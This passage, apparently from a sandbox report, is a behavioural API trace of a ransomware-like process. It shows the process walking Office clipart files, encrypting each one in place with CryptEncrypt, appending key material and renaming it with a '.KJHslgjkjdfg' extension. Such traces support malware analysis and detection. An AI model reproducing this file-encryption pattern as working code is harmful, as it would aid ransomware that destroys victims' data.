CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.563] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.564] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x66c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x66c, lpOverlapped=0x0) returned 1 [0216.564] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x670, dwBufLen=0x670 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x670) returned 1 [0216.564] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.564] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x670, lpOverlapped=0x0) returned 1 [0216.564] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.564] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.564] SetEndOfFile (hFile=0x130) returned 1 [0216.567] GetProcessHeap () returned 0x2ef0000 [0216.567] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.567] GetProcessHeap () returned 0x2ef0000 [0216.567] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.567] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf.kjhslgjkjdfg")) returned 1 [0216.569] CloseHandle (hObject=0x130) returned 1 [0216.569] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x308e2500, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x308e2500, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02093_.WMF", cAlternateFileName="")) returned 1 [0216.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.570] GetProcessHeap () returned 0x2ef0000 [0216.570] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.570] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.570] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.570] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.570] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.570] GetProcessHeap () returned 0x2ef0000 [0216.570] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.571] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.571] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.571] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.572] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.572] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.572] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.573] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.573] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.573] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.573] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.573] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.573] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2a0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2a0, lpOverlapped=0x0) returned 1 [0216.573] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2a0) returned 1 [0216.573] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.573] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2a0, lpOverlapped=0x0) returned 1 [0216.573] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.573] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.573] SetEndOfFile (hFile=0x130) returned 1 [0216.576] GetProcessHeap () returned 0x2ef0000 [0216.576] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.576] GetProcessHeap () returned 0x2ef0000 [0216.576] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.576] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf.kjhslgjkjdfg")) returned 1 [0216.578] CloseHandle (hObject=0x130) returned 1 [0216.578] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29651800, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29651800, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x1fe8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02124_.WMF", cAlternateFileName="")) returned 1 [0216.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.580] GetProcessHeap () returned 0x2ef0000 [0216.580] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.580] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.580] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.580] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.582] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.583] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.583] GetProcessHeap () returned 0x2ef0000 [0216.583] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.583] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.583] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.583] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.583] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.583] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.584] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.584] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.584] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.584] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.584] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.584] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.584] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1fe8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1fe8, lpOverlapped=0x0) returned 1 [0216.585] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ff0, dwBufLen=0x1ff0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ff0) returned 1 [0216.585] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.585] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1ff0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1ff0, lpOverlapped=0x0) returned 1 [0216.586] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.586] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x20c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.586] SetEndOfFile (hFile=0x130) returned 1 [0216.589] GetProcessHeap () returned 0x2ef0000 [0216.589] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.589] GetProcessHeap () returned 0x2ef0000 [0216.589] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.589] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf.kjhslgjkjdfg")) returned 1 [0216.591] CloseHandle (hObject=0x130) returned 1 [0216.591] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50f8b800, ftCreationTime.dwHighDateTime=0x1bd4bd0, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50f8b800, ftLastWriteTime.dwHighDateTime=0x1bd4bd0, nFileSizeHigh=0x0, nFileSizeLow=0x4816, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02125_.WMF", cAlternateFileName="")) returned 1 [0216.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.593] GetProcessHeap () returned 0x2ef0000 [0216.593] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.593] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.593] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.593] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0216.595] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.595] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.595] GetProcessHeap () returned 0x2ef0000 [0216.595] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.595] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.595] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.595] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.596] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.596] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.596] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.596] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.596] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.596] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.596] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.596] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.596] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4816, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4816, lpOverlapped=0x0) returned 1 [0216.597] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4820, dwBufLen=0x4820 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4820) returned 1 [0216.598] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.598] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4820, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4820, lpOverlapped=0x0) returned 1 [0216.598] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.598] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x48f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.598] SetEndOfFile (hFile=0x130) returned 1 [0216.601] GetProcessHeap () returned 0x2ef0000 [0216.601] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.601] GetProcessHeap () returned 0x2ef0000 [0216.601] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.601] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf.kjhslgjkjdfg")) returned 1 [0216.610] CloseHandle (hObject=0x130) returned 1 [0216.610] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x819c1a00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x819c1a00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x7c50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02126_.WMF", cAlternateFileName="")) returned 1 [0216.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.611] GetProcessHeap () returned 0x2ef0000 [0216.611] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.611] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.612] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.612] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.612] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.612] GetProcessHeap () returned 0x2ef0000 [0216.612] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.612] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.612] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.612] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.617] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.617] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.617] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.618] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.618] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.618] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.618] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.618] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.618] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7c50, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7c50, lpOverlapped=0x0) returned 1 [0216.619] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7c50, dwBufLen=0x7c50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7c50) returned 1 [0216.619] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.619] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7c50, lpOverlapped=0x0) returned 1 [0216.620] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.620] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.620] SetEndOfFile (hFile=0x130) returned 1 [0216.623] GetProcessHeap () returned 0x2ef0000 [0216.623] HeapFree (in: 